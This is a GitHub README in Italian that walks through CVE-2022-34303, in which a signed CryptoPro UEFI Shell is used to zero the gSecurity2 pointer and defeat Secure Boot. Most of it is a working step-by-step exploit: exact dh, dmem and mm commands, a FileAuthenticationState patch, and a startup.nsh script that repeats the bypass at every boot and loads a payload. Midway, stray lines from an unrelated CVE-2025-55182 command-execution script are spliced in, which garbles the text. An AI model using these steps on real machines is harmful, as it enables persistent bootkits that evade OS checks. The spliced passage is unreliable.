themalwareguardian/cve-2022-34303Dimostra il bypass di Secure Boot CVE-2022-34303 tramite UEFI Shell firmata CryptoPro, utilizzando il comando mm per annullare gSecurity2 e caricare applicazioni UEFI non firmate.
CryptoPro Secure Disk UEFI Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - Bypass di Secure Boot tramite UEFI Shell firmata e corruzione di gSecurity2.
Questo repository dimostra la tecnica BYOVUA (Bring Your Own Vulnerable UEFI Application) sfruttando CVE-2022-34303, una vulnerabilità di bypass di Secure Boot nell'ambiente di boot UEFI di CryptoPro Secure Disk.
In questo caso, il componente fidato per Secure Boot è uno shim personalizzato firmato dalla UEFI Third Party Certificate Authority di Microsoft. Una volta eseguito, questo shim carica una UEFI Shell come secondo stadio, che espone il comando mm (memory modify) e fornisce quindi capacità di lettura e scrittura arbitraria della memoria durante la fase di boot pre-OS.
Questa primitiva può quindi essere utilizzata per individuare e azzerare il puntatore globale gSecurity2 nel core DXE. Di conseguenza, la successiva verifica delle immagini UEFI viene disabilitata, consentendo il caricamento di applicazioni UEFI non firmate, bootkit, nonostante Secure Boot sia abilitato.
BYOVUA è l'equivalente UEFI della tecnica BYOVD (Bring Your Own Vulnerable Driver) utilizzata a livello kernel. Invece di portare un driver kernel firmato con una vulnerabilità, l'attaccante porta un'applicazione UEFI firmata - in questo caso, una UEFI Shell completa - che contiene funzionalità in grado di compromettere Secure Boot.
Poiché l'applicazione - in questo caso, lo shim personalizzato che carica la UEFI Shell come secondo stadio - è firmata con un certificato fidato di Microsoft, viene accettata da Secure Boot senza obiezioni, rendendola fidata su qualsiasi sistema che includa questo certificato nel proprio database Secure Boot (db) - ovvero praticamente ogni PC con supporto UEFI spedito nell'ultimo decennio. Una volta in esecuzione, i suoi comandi integrati forniscono all'attaccante accesso diretto all'hardware e alla memoria che opera prima del caricamento del sistema operativo, in un ambiente in cui i moderni controlli di sicurezza (ASLR, DEP, protezioni del kernel) semplicemente non esistono.
Shell_Full.efi è una UEFI Shell distribuita come parte di CryptoPro Secure Disk, un prodotto di autenticazione pre-boot e cifratura del disco.
| Proprietà | Valore |
|---|
| File | Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell) |
| Vendor | CryptoPro Secure Disk |
| CVE | CVE-2022-34303 |
| Firma | Microsoft Corporation UEFI CA 2011 (Third Party) |
| Scoperta | Eclypsium (Mickey Shkatov, Jesse Michael) - Agosto 2022 |
| Presentazione | DEF CON 30 - "One Bootloader to Load Them All" |
| Revoca | Aggiunta al DBX tramite Microsoft KB5012170 (Agosto 2022) |
La vulnerabilità non è un bug - è un difetto di progettazione. Le UEFI Shell sono strumenti diagnostici legittimi che non erano mai stati pensati per essere eseguiti in ambienti Secure Boot. Tuttavia, firmandole con un certificato fidato di Microsoft e distribuendole come parte di prodotti commerciali, i vendor hanno inavvertitamente creato un bypass firmato per Secure Boot.
Il problema principale: un binario firmato e fidato per Secure Boot fornisce capacità illimitate di lettura/scrittura della memoria attraverso i suoi comandi integrati. Questa combinazione infrange l'intero modello di fiducia di Secure Boot.
Il comando mm (memory modify) è un comando integrato standard della UEFI Shell che fornisce accesso diretto in lettura e scrittura alla memoria di sistema. È documentato nella UEFI Shell Specification (Sezione 5.3).```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| Parametro | Descrizione |
|-----------|-------------|
| `Address` | Indirizzo di memoria di destinazione |
| `Value` | Valore da scrivere (omettere per sola lettura) |
| `-w` | Larghezza: 1, 2, 4 o 8 byte |
| `-MEM` | Accesso alla memoria di sistema |
| `-MMIO` | I/O mappato in memoria |
| `-IO` | Accesso alla porta I/O |
| `-n` | Non interattivo (nessun prompt per l'indirizzo successivo) |
---
<div id='gsecurity2'/>
### ***gSecurity2 e il Security Architectural Protocol***
La verifica delle immagini Secure Boot in UEFI è imposta tramite i [Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols), definiti nella specifica UEFI Platform Initialization (PI).
Il core DXE (DxeMain) mantiene un puntatore globale chiamato [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), che punta alla struttura `EFI_SECURITY2_ARCH_PROTOCOL`. Questo protocollo contiene un singolo puntatore a funzione - `FileAuthenticationState` - che viene chiamato da `LoadImage()` ogni volta che viene caricata un'immagine UEFI:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
Quando viene chiamato LoadImage(), il core DXE verifica:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
Impostando `gSecurity2 = NULL`, il controllo `if` fallisce e `FileAuthenticationState` non viene mai chiamato. La verifica dell'immagine viene completamente saltata - **Secure Boot rimane "abilitato" ma non è più applicato**. Le applicazioni UEFI non firmate possono quindi essere caricate liberamente.
Per una comprensione tecnica approfondita di questa tecnica, incluso un'applicazione UEFI appositamente creata che individua e corregge automaticamente gSecurity2, consulta il progetto companion: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***Parallelismo con il Kernel BYOVD***
Il parallelismo strutturale tra UEFI BYOVUA e kernel BYOVD è esatto:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
Entrambi gli attacchi sfruttano lo stesso difetto fondamentale: un componente firmato di cui si fida un meccanismo di sicurezza fornisce la primitiva necessaria per disabilitare proprio quel meccanismo.
Il file firmato Shell_Full.efi viene posizionato sulla EFI System Partition (ESP) e configurato come opzione di avvio. Poiché è firmato con una catena di certificati considerata attendibile da Secure Boot, il firmware lo convalida e lo carica senza problemi.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
| └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher
|
└── CPSD/
└── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA
└── startup.nsh (Script) ← Auto-executed on shell launch
---
<div id='Phase2'/>
### ***Fase 2 - Enumerare gli handle del protocollo Security2***
Dalla UEFI Shell, l'obiettivo è trovare l'handle che espone il protocollo `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) e ottenere l'indirizzo di memoria della sua interfaccia di protocollo.
> **Nota:** Il comando `dh -p <GUID>` non risolve i GUID grezzi nella maggior parte delle build EDK2 Shell - riconosce solo i nomi di protocollo registrati. L'approccio seguente funziona su qualsiasi versione di EDK2 Shell.
**Passo 1 - Trovare l'handle SecurityStubDxe**
Elenca tutti gli handle e cerca `SecurityStubDxe`, che è il driver DXE che installa entrambi i protocolli architetturali di sicurezza:```
Shell> dh
Nell'output, identificare l'handle caricato come SecurityStubDxe:```
10: Image(SecurityStubDxe)
**Passo 2 - Ispezionare gli handle adiacenti**
`SecurityStubDxe` installa i protocolli Security su un handle separato, tipicamente quello immediatamente successivo. Questi handle appaiono vuoti nell'elenco breve perché la Shell non riesce a mappare i loro GUID a nomi descrittivi. Ispezionali con la modalità verbose:```
Shell> dh -v 11
Expected output:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
Se l'handle `0x11` non contiene questi GUID, provare `0x12` - il numero esatto dell'handle varia tra le build del firmware.
**Passo 3 - Registrare l'indirizzo dell'interfaccia**
I due protocolli e i loro indirizzi di interfaccia sono:
| GUID | Protocollo | Indirizzo dell'interfaccia |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
L'**indirizzo dell'interfaccia Security2** (`0x3EE8C3A0` in questo esempio) è il valore memorizzato dal puntatore globale `gSecurity2` all'interno di DxeMain. Questo valore è necessario per la Fase 3.
---
<div id='Phase3'/>
### ***Fase 3 - Individuare gSecurity2 in memoria***
La variabile `gSecurity2` è un puntatore globale all'interno del core DXE (`DxeMain`). Il suo valore è uguale all'indirizzo dell'interfaccia del protocollo trovato nella Fase 2. L'obiettivo è trovare l'indirizzo di memoria in cui è memorizzato questo puntatore - non il valore del puntatore, ma la variabile stessa.
**Passo 1 - Ottenere il layout dell'immagine del core DXE**```
Shell> dh -v 1
python3 CVE-2025-55182.py -u <URL> -c <COMMAND>
python3 CVE-2025-55182.py -u http://vulnerable-host:3000 -c "id"
Per verificare se un'applicazione è vulnerabile senza eseguire comandi:
python3 CVE-2025-55182.py -u http://target:3000 --check
$ACTION_REF_1 che attiva la deserializzazione lato serverchild_process.execSyncQuesto progetto è distribuito con licenza MIT.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
Registra `ImageBase` (`0x3FE94000`).
**Passo 2 - Analizza le intestazioni PE per trovare la sezione `.data`**
La sezione `.data` contiene le variabili globali inizializzate, incluso `gSecurity2`. Invece di scansionare l'intera immagine alla cieca, analizza le intestazioni PE per trovare i confini esatti di `.data`.
Leggi l'intestazione MZ per ottenere l'offset dell'intestazione PE (DWORD all'offset `0x3C`):```
Shell> dmem <ImageBase> 100
Nell'output, osserva l'offset 0x3C da ImageBase. Ad esempio, se ImageBase è 0x3FE94000:```
3FE9403C: C0 00 00 00
Questo significa che la firma PE si trova all'offset `0xC0` da `ImageBase`.
**Passo 3 - Leggere la tabella delle sezioni**
L'offset della tabella delle sezioni è calcolato come:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
Leggi l'header COFF per ottenere SizeOfOptionalHeader (WORD a PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
Per un'immagine UEFI PE32+ (x64), `SizeOfOptionalHeader` è tipicamente `0xF0`. Nel nostro esempio:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
Estrai la tabella delle sezioni (5 sezioni × 40 byte = 200 byte):``` Shell> dmem 3FE941C8 140
Ogni voce di sezione è di 40 byte:
| Offset | Size | Campo |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
Cerca la voce della sezione `.data`. Esempio di output:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Calcola i limiti assoluti di .data:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**Passo 4 - Scansiona `.data` per il puntatore dell'interfaccia**
Cerca l'indirizzo dell'interfaccia Security2 in ordine di byte little-endian all'interno dell'intervallo `.data`. Per un indirizzo di interfaccia `0x3EE8C3A0`, cerca:```
A0 C3 E8 3E 00 00 00 00
Scansione in blocchi da 0x200 byte a partire da data_start:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
Continua attraverso l'intervallo `.data` finché non trovi la sequenza di byte. I puntatori `gSecurity` (Security1) e `gSecurity2` (Security2) sono memorizzati consecutivamente, quindi cerca entrambi i valori adiacenti l'uno all'altro:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
Suggerimento: La sezione
.datacontiene anche le strutture della EFI System Table (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV). I puntatori di sicurezza si trovano tipicamente dopo queste strutture. Se individui queste firme durante la scansione, continua - ti stai avvicinando.
Passo 5 - Confermare l'indirizzo
Verifica leggendo la posizione esatta:``` Shell> dmem 3FEB0C08 10
Expected output:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
L'indirizzo 0x3FEB0C08 è dove è memorizzato gSecurity2 - questo è l'obiettivo per la Fase 4.
Una volta nota l'indirizzo della variabile gSecurity2, un singolo comando mm disabilita la verifica del Secure Boot:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **Nota:** Il comando `mm` potrebbe non accettare il prefisso `0x` nell'argomento dell'indirizzo. Usare direttamente l'indirizzo esadecimale grezzo.
Esempio:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
Questo scrive 8 byte di zeri nel puntatore gSecurity2. Il core DXE ora salterà tutti i controlli di verifica delle immagini in LoadImage().
Per verificare la patch:``` Shell> dmem <gSecurity2_address> 10
I primi 8 byte dovrebbero essere `00 00 00 00 00 00 00 00`:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
Nota che gSecurity (Security1, secondo qword) rimane intatto - solo Security2 viene annullato, il che è sufficiente per aggirare la verifica di LoadImage().
Con gSecurity2 annullato, qualsiasi applicazione UEFI può essere caricata indipendentemente dal suo stato di firma:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
Oppure utilizzando `load` per i driver:```
Shell> load fs1:\MyUnsignedDriver.efi
Il sistema operativo non è ancora stato avviato. Qualsiasi applicazione UEFI caricata in questo momento viene eseguita con accesso completo all'hardware, prima che venga inizializzato qualsiasi controllo di sicurezza a livello di sistema operativo.
La UEFI Shell esegue automaticamente startup.nsh dalla directory corrente o dalla radice della ESP a ogni avvio. Codificando la patch mm in questo script, il bypass di Secure Boot viene eseguito automaticamente a ogni avvio:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
Esempio:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
Il sistema continua a segnalare Secure Boot come "enabled" - solo l'applicazione a runtime è disabilitata. Questo rende l'attacco invisibile alle query sullo stato di Secure Boot a livello di OS.
Importante: L'indirizzo
gSecurity2(0x3FEB0C08in questo esempio) è specifico per la build del firmware. Se il firmware viene aggiornato o ricompilato, l'indirizzo deve essere ricalcolato ripetendo le Fasi 2 e 3.
Trovare l'indirizzo gSecurity2 è specifico del firmware e deve essere ripetuto ogni volta che il firmware viene aggiornato o ricompilato. Il processo di alto livello è:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
Sono forniti due approcci:
**Approccio A - Patch di FileAuthenticationState:** Sovrascrive i primi 4 byte della funzione di verifica con `xor rax, rax; ret` (`48 31 C0 C3`), facendola restituire EFI_SUCCESS senza eseguire alcun controllo. Questo approccio utilizza i comandi `dh`, `dmem` e `mm` per risolvere il puntatore alla funzione tramite l'interfaccia del protocollo Security2 e non richiede la ricerca nella memoria di DxeMain.
**Approccio B - Azzeramento del puntatore gSecurity2:** Individua la variabile globale gSecurity2 all'interno della sezione `.data` di DxeMain e vi scrive NULL. Questa è la tecnica descritta da Eclypsium nella divulgazione di BombShell e implementata programmaticamente nel repository [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). Questo approccio richiede l'analisi delle intestazioni PE di DxeMain per trovare i confini della sezione `.data`, quindi la scansione manuale della memoria con `dmem` per individuare l'indirizzo del puntatore.
Entrambi gli script sono progettati per essere seguiti passo dopo passo, con ogni comando spiegato. Eseguirli prima in modo interattivo, poi una volta noti gli indirizzi corretti per il firmware di destinazione, creare un `startup.nsh` per l'esecuzione automatizzata a ogni avvio.
---
---
---
<div id='LabSetup'/>
## ***Configurazione del laboratorio***
### DBX (Forbidden Signature Database)
La shell firmata è stata aggiunta alla lista di revoca DBX di Microsoft tramite KB5012170 (agosto 2022). Sui sistemi aggiornati, la shell verrà rifiutata da Secure Boot.
Per l'ambiente di laboratorio, è necessario un sistema in cui:
- Il DBX non sia stato aggiornato con la voce di revoca per questa specifica shell
- Oppure il DBX sia vuoto (VM appena creata con chiavi Secure Boot predefinite)
- Oppure si utilizzi un ambiente QEMU/OVMF con registrazione personalizzata delle chiavi Secure Boot
Il [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) fornisce una configurazione automatizzata per questo.
### Alternativa: qualsiasi shell UEFI firmata con comando mm
La tecnica non è specifica per `Shell_Full.efi`. Qualsiasi UEFI Shell che esponga il comando `mm` e sia firmata con un certificato attendibile (Microsoft CA o specifico dell'OEM) può essere utilizzata. Come documentato dalla ricerca [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) di Eclypsium (ottobre 2025), shell UEFI firmate con capacità pericolose sono state trovate nei prodotti di più fornitori, inclusi i laptop Framework (che interessano circa 200.000 dispositivi).
---
---
---
<div id='References'/>
## ***Riferimenti***
### Direttamente correlati
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - Raccolta curata di applicazioni UEFI firmate vulnerabili note
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - Analisi tecnica approfondita della tecnica di corruzione di gSecurity2, inclusa un'applicazione UEFI appositamente creata che individua e corregge automaticamente il puntatore
### Ricerca Eclypsium
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - Ricerca sull'utilizzo di shell UEFI firmate per la manipolazione della memoria con scripting .nsh
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - Ricerca originale di Eclypsium che divulga CVE-2022-34301, CVE-2022-34302, CVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Presentazione di Mickey Shkatov e Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Ricerca di ottobre 2025 che dimostra l'attacco gSecurity2 tramite comando mm sui laptop Framework (200k dispositivi interessati)
### Specifiche UEFI
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - Documentazione per i comandi mm e dh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - Riferimento al codice sorgente per il puntatore globale gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Definizione ufficiale del Security2 Architectural Protocol
### Avvisi
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)